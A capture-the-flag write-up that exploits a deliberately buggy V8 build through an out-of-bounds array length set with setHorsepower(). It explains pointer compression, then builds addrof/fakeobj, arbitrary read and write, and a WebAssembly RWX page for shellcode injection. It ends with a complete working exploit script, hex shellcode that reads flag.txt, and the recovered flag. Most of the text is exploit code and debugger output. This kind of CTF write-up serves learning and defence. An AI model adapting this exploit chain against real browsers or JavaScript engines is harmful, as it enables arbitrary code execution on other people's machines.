We can essentially set the length of an array by using .setHorsepower(). By setting it to a larger value, we can get an OOB read and write, from which point it would be very similar to the oob-v8 writeup.
Understanding the Memory Layout
Let's first try and check the OOB works as we expected. We're gonna create an exploit.js with the classic ftoi() and itof() functions:
So, right of the bat there are some differences. For example, look at the first value 0x0804222d082439f1. What on earth is that? Well, if you have eagle eyes or are familiar with a new V8 feature called pointer compression, you may notice that it lines up with the properties and the map:
Notice that the last 4 bytes are being stored in that value 0x0804222d082439f1 - the first 4 bytes here at the last 4 bytes of the properties location, and the last 4 bytes are the last 4 of the map pointer.
This is a new feature added to V8 in 2020 called pointer compression, where the first 4 bytes of pointers are not stored as they are constant for all pointers - instead, a single reference is saved, and only the lower 4 bytes are stored. The higher 4 bytes, known as the isolate root, are stored in the R13 register. More information can be found in this blog post, but it's made a huge difference to performance. As well as pointers, smis have also changed representation - instead of being 32-bit values left-shifted by 32 bits to differentiate them from pointers, they are now simply doubled (left-shifted by one bit) and therefore also stored in 32-bit space.
A double is stored as its 64-bit binary representation
An smi is a 32-bit number, but it's stored as itself left-shifted by 1 so the bottom bit is null
e.g. 0x12345678 is stored as 0x2468acf0
A pointer to an address addr is stored as addr | 1, that is the least significant bit is set to 1.
e.g. 0x12345678 is stored as 0x12345679
This helps differentiate it from an smi, but not from a double!
We can see the example of an smi in the second value from the x/10gx command above: 0x0000000408085161. The upper 4 bytes are 4, which is double 2, so this is the length of the list. The lower 4 bytes correspond to the pointer to the elements array, which stores the values themselves. Let's double-check that:
The first value 0x0000000408042a99 is the length smi (a value of 2, doubled as it's an smi) followed by what I assume is a pointer to the map. That's not important - what's important is the next two values are the floating-point representations of 1.5 and 2.5 (I recognise them from oob-v8!), while the value directly after is 0x0804222d082439f1, the properties and map pointer. This means our OOB can work as planned! We just have to ensure we preserve the top 32 bits of this value so we don't ruin the properties pointer.
Note that we don't know the upper 4 bytes, but that's not important!
Let's test that the OOB works as we expected by calling setHorsepower() on an array, and reading past the end.
This is a bit more complicated than in oob-v8, because of one simple fact: last time, we gained an addrof primitive using this:
var float_arr = [1.5,2.5];var map_float =float_arr.oob();var initial_obj = {a:1}; // placeholder objectvar obj_arr = [initial_obj];var map_obj =obj_arr.oob();functionaddrof(obj) { obj_arr[0] = obj; // put desired obj for address leak into index 0obj_arr.oob(map_float); // change to float maplet leak = obj_arr[0]; // read addressobj_arr.oob(map_obj); // change back to object map, to prevent issues down the linereturnftoi(leak); // return leak as an integer}
In our current scenario, you could argue that we can reuse this (with minor modifications) and get this:
var float_arr = [1.5,2.5];float_arr.setHorsepower(3);var map_float = float_arr[2];var initial_obj = {a:1}; // placeholder objectvar obj_arr = [initial_obj];obj_arr.setHorsepower(2);var map_obj = obj_arr[1];functionaddrof(obj) { obj_arr[0] = obj; // put desired obj for address leak into index 0 obj_arr[1] = map_float; // change to float maplet leak = obj_arr[0]; // read address obj_arr[1] = map_obj; // change back to object map, to prevent issues down the linereturnftoi(leak); // return leak as an integer}
However, this does not work. Why? It's the difference between these two lines:
var map_obj =obj_arr.oob();var map_obj = obj_arr[1];
In oob-v8, we noted that the function .oob() not only reads an index past the end, but it also returns it as a double. And that's the key difference - in this challenge, we can read past the end of the array, but this time it's treated as an object. obj_arr[1] will, therefore, return an object - and a pretty invalid one, at that!
You might be thinking that we don't need the object map to get an addrof primitive at all, we just can't set the map back, but we can create a one-use array. I spent an age working out why it didn't work, instead returning a NaN, but of course it was this line:
obj_arr[1] = map_float;
Setting the map to that of a float array would never work, as it would treat the first index like an object again!
A new addrof()
So, this time we can't copy the object map so easily. But not all is lost! Instead of having a single OOB read/write, we can set the array to have a huge length. This way, we can use an OOB on the float array to read the map of the object array - if we set it correctly, that is.
Aligning Memory
Let's create two arrays, one of floats and one of objects. We'll also grab the float map (which will also contain the properties pointer!) while we're at it.
var float_arr = [1.5,2.5];float_arr.setHorsepower(50);var float_map = float_arr[2]; // both map and propertiesvar initial_obj = {a:1}; // placeholder objectvar obj_arr = [initial_obj];obj_arr.setHorsepower(50);
My initial thought was to create an array like this:
var obj_arr = [3.5,3.5, initial_obj];
And then I could slowly increment the index of float_arr, reading along in memory until we came across two 3.5 values in a row. I would then know that the location directly after was our desired object, making a reliable leak. Unfortunately, while debugging, it seems like mixed arrays are not quite that simple (unsurprisingly, perhaps). Instead, I'm gonna hope and pray that the offset is constant (and if it's not, we'll come back and play with the mixed array further).
Let's determine the offset. I'm gonna %DebugPrintfloat_arr, obj_arr and initial_obj:
DebugPrint:0x30e008085931: [JSArray]- map:0x30e0082439f1<Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype:0x30e00820ab61<JSArray[0]>- elements:0x30e008085919<FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]- length:50- properties:0x30e00804222d<FixedArray[0]>- All own properties (excluding elements): { 0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}- elements:0x30e008085919<FixedDoubleArray[2]> {0:1.51: 2.5 }DebugPrint:0x30e008085985: [JSArray]- map:0x30e008243a41<Map(PACKED_ELEMENTS)> [FastProperties]- prototype:0x30e00820ab61<JSArray[0]>- elements:0x30e008085979<FixedArray[1]> [PACKED_ELEMENTS]- length:50- properties:0x30e00804222d<FixedArray[0]>- All own properties (excluding elements): { 0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}- elements:0x30e008085979<FixedArray[1]> {0:0x30e00808594d<Object map =0x30e0082459f9> }DebugPrint:0x30e00808594d: [JS_OBJECT_TYPE]- map:0x30e0082459f9<Map(HOLEY_ELEMENTS)> [FastProperties]- prototype:0x30e008202f11<Object map =0x30e0082421b9>- elements:0x30e00804222d<FixedArray[0]> [HOLEY_ELEMENTS]- properties:0x30e00804222d<FixedArray[0]>- All own properties (excluding elements): {0x30e0080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location:in-object }
We can see the value 0x08243a410808594d at 0x30e008085980. If the value 1.5 at 0x22f908085370 is index 0, we can count and get an index of 12. Let's try that:
However, remember that pointer compression is a thing! We have to make sure the upper 4 bytes are consistent. This isn't too bad, as we can read it once and remember it for all future sets:
// store upper 4 bytes of leaklet upper =ftoi(float_arr[12]) & (0xffffffffn<<32n);
// first leak the addresslet addr_initial =addrof(initial_obj);// now try and create an object from itlet fake =fakeobj(addr_initial);// fake should now be pointing to initial_obj// meaning fake.a should be 1console.log(fake.a);
If I run this, it does in fact print 1:
gef➤ run --allow-natives-syntax --shell exploit.js1V8 version 9.1.0 (candidate)d8>
I was as impressed as anybody that this actually worked, I can't lie.
Arbitrary Read
Once again, we're gonna try and gain an arbitrary read by creating a fake array object that we can control the elements pointer for. The offsets are gonna be slightly different due to pointer compression. As we saw earlier, the first 8 bytes are the compressed pointer for properties and map, while the second 8 bytes are the smi for length and then the compressed pointer for elements. Let's create an initial arb_rw_array like before, and print out the layout:
var arb_rw_arr = [float_map,1.5,2.5,3.5];console.log("[+] Address of Arbitrary RW Array: 0x"+addrof(arb_rw_arr).toString(16));%DebugPrint(arb_rw_arr)
[+] Address of Arbitrary RW Array:0x8085a01DebugPrint:0x161c08085a01: [JSArray]- map:0x161c082439f1<Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype:0x161c0820ab61<JSArray[0]>- elements:0x161c080859d9<FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]- length:4- properties:0x161c0804222d<FixedArray[0]>- All own properties (excluding elements): { 0x161c080446d1: [String] in ReadOnlySpace: #length: 0x161c0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}- elements:0x161c080859d9<FixedDoubleArray[4]> {0:4.7638e-2701: 1.52: 2.53: 3.5 }
The leak works perfectly. Once again, elements is ahead of the JSArray itself.
If we want to try and fake an array with compression pointers then we have the following format:
32-bit pointer to properties
32-bit pointer to map
smi for length
32-bit pointer to elements
The first ones we have already solved with float_map. We can fix the latter like this:
functionarb_read(compressed_addr) {// tag pointerif (compressed_addr %2n==0) compressed_addr +=1n;// place a fake object over the elements of the valid array// we know the elements array is placed just ahead in memory, so with a length// of 4 it's an offset of 4 * 0x8 = 0x20 let fake =fakeobj(addrof(arb_rw_arr) -0x20n);// overwrite `elements` field of fake array// size of 2 and elements pointer arb_rw_arr[1] =itof((0x2n<<33n) + compressed_addr);// index 0 will returns the arbitrary read valuereturnftoi(fake[0]);}
We can test the arbitrary read, and I'm going to do this by grabbing the float_map location and reading the data there:
// test arb_readlet float_map_lower =ftoi(float_map) &0xffffffffnconsole.log("Map at: 0x"+float_map_lower.toString(16))console.log("Read: 0x"+arb_read(float_map_lower).toString(16));
Map at:0x82439f1Read:0xa0007ff2100043d
A little bit of inspection at the location of float_map shows us we're 8 bytes off:
This is because the first 8 bytes in the elements array are for the length smi and then for a compressed map pointer, so we just subtract if 8 and get a valid arb_read():
functionarb_read(compressed_addr) {// tag pointerif (compressed_addr %2n==0) compressed_addr +=1n;// place a fake object over the elements of the valid array// we know the elements array is placed just ahead in memory, so with a length// of 4 it's an offset of 4 * 0x8 = 0x20let fake =fakeobj(addrof(arb_rw_arr) -0x20n);// overwrite `elements` field of fake array// size of 2 and elements pointer// initially with the map and a size smi, so 0x8 offset arb_rw_arr[1] =itof((0x2n<<33n) + compressed_addr -8n);// index 0 will returns the arbitrary read valuereturnftoi(fake[0]);}
Arbitrary Write
Initial
We can continue with the initial_arb_write() from oob-v8, with a couple of minor changes:
functioninitial_arb_write(compressed_addr, val) {// place a fake object and change elements, as beforelet fake =fakeobj(addrof(arb_rw_arr) -0x20n); arb_rw_arr[1] =itof((0x2n<<33n) + compressed_addr -8n);// Write to index 0 fake[0] =itof(BigInt(val));}
We can test this super easily too, with the same principle:
let float_map_lower =ftoi(float_map) &0xffffffffn;console.log("Map at: 0x"+float_map_lower.toString(16));initial_arb_write(float_map_lower,0x12345678n);
Observing the map location in GDB tells us the write worked:
Last time we improved our technique by usingArrayBuffer backing pointers. This is a bit harder this time because for this approach you need to know the full 64-bit pointers, not just the compressed version. This is genuinely very difficult because the isolate root is stored in the r13 register, not anywhere in memory. As a result, we're going to be using initial_arb_write() as if it's arb_write(), and hoping it works.
If anybody knows of a way to leak the isolate root, please let me know!
Shellcoding
The final step is to shellcode our way through, using the same technique as last time. The offsets are slightly different, but I'm sure that by this point you can find them yourself!
First I'll use any WASM code to create the RWX page, like I did for oob-v8:
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod =newWebAssembly.Module(wasm_code);var wasm_instance =newWebAssembly.Instance(wasm_mod);var f =wasm_instance.exports.main;
I get an offset of 0x67. In reality it is 0x68 (pointer tagging!), but who cares.
Now we can use the ArrayBuffer technique, because we know all the bits of the address! We can just yoink it directly from the oob-v8 writeup (slightly changing 0x20 to 0x14, as that is the new offset with compression):
functioncopy_shellcode(addr, shellcode) {// create a buffer of 0x100 byteslet buf =newArrayBuffer(0x100);let dataview =newDataView(buf);// overwrite the backing store so the 0x100 bytes can be written to where we wantlet buf_addr =addrof(buf);let backing_store_addr = buf_addr +0x14n;arb_write(backing_store_addr, addr);// write the shellcode 4 bytes at a timefor (let i =0; i <shellcode.length; i++) {dataview.setUint32(4*i, shellcode[i],true); }}
I am going to grab the shellcode for cat flag.txt from this writeup, because I suck ass at working out endianness and it's a lot of effort for a fail :)))
$python3deliver.py[+] Opening connection to mercury.picoctf.net on port 60233: DonepicoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}[*] Closed connection to mercury.picoctf.net port 60233
Full Exploit
// setupvar buf =newArrayBuffer(8);var f64_buf =newFloat64Array(buf);var u64_buf =newUint32Array(buf);functionftoi(val) { // typeof(val) = float f64_buf[0] = val;returnBigInt(u64_buf[0]) + (BigInt(u64_buf[1]) <<32n);}functionitof(val) { // typeof(val) = BigInt u64_buf[0] =Number(val &0xffffffffn); u64_buf[1] =Number(val >>32n);return f64_buf[0];}// addrof and fakeobjvar float_arr = [1.5,2.5];float_arr.setHorsepower(50);var float_map = float_arr[2]; // both map and propertiesvar initial_obj = {a:1}; // placeholder objectvar obj_arr = [initial_obj];obj_arr.setHorsepower(50);// store upper 4 bytes of leaklet upper =ftoi(float_arr[12]) & (0xffffffffn<<32n);functionaddrof(obj) { obj_arr[0] = obj;let leak = float_arr[12];returnftoi(leak) &0xffffffffn;}functionfakeobj(compressed_addr) { float_arr[12] =itof(upper + compressed_addr);return obj_arr[0];}/* test addrof and fakeobj// first leak the addresslet addr_initial = addrof(initial_obj);// now try and create an object from itlet fake = fakeobj(addr_initial);// fake should now be pointing to initial_obj// meaning fake.a should be 1console.log(fake.a);*/// array for access to arbitrary memory addressesvar arb_rw_arr = [float_map,1.5,2.5,3.5];console.log("[+] Address of Arbitrary RW Array: 0x"+addrof(arb_rw_arr).toString(16));// %DebugPrint(arb_rw_arr);functionarb_read(compressed_addr) {// tag pointerif (compressed_addr %2n==0) compressed_addr +=1n;// place a fake object over the elements of the valid array// we know the elements array is placed just ahead in memory, so with a length// of 4 it's an offset of 4 * 0x8 = 0x20let fake =fakeobj(addrof(arb_rw_arr) -0x20n);// overwrite `elements` field of fake array// size of 2 and elements pointer// initially with the map and a size smi, so 0x8 offset arb_rw_arr[1] =itof((0x2n<<33n) + compressed_addr -8n);// index 0 will returns the arbitrary read valuereturnftoi(fake[0]);}/* test arb_readlet float_map_lower = ftoi(float_map) & 0xffffffffn;console.log("Map at: 0x" + float_map_lower.toString(16));console.log("Read: 0x" + arb_read(float_map_lower).toString(16));*/// would normally be initial, but we hope and prayfunctionarb_write(compressed_addr, val) {// place a fake object and change elements, as beforelet fake =fakeobj(addrof(arb_rw_arr) -0x20n); arb_rw_arr[1] =itof((0x2n<<33n) + compressed_addr -8n);// Write to index 0 fake[0] =itof(BigInt(val));}/* test initial_arb_writelet float_map_lower = ftoi(float_map) & 0xffffffffn;console.log("Map at: 0x" + float_map_lower.toString(16));initial_arb_write(float_map_lower, 0x12345678n);*/var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod =newWebAssembly.Module(wasm_code);var wasm_instance =newWebAssembly.Instance(wasm_mod);var f =wasm_instance.exports.main;let rwx_pointer_loc =addrof(wasm_instance) +0x67n;let rwx_base =arb_read(rwx_pointer_loc);console.log("[+] RWX Region located at 0x"+rwx_base.toString(16));//functioncopy_shellcode(addr, shellcode) {// create a buffer of 0x100 byteslet buf =newArrayBuffer(0x100);let dataview =newDataView(buf);// overwrite the backing store so the 0x100 bytes can be written to where we wantlet buf_addr =addrof(buf);let backing_store_addr = buf_addr +0x14n;arb_write(backing_store_addr, addr);// write the shellcode 4 bytes at a timefor (let i =0; i <shellcode.length; i++) {dataview.setUint32(4*i, shellcode[i],true); }}payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
copy_shellcode(rwx_base, payload);f();// picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}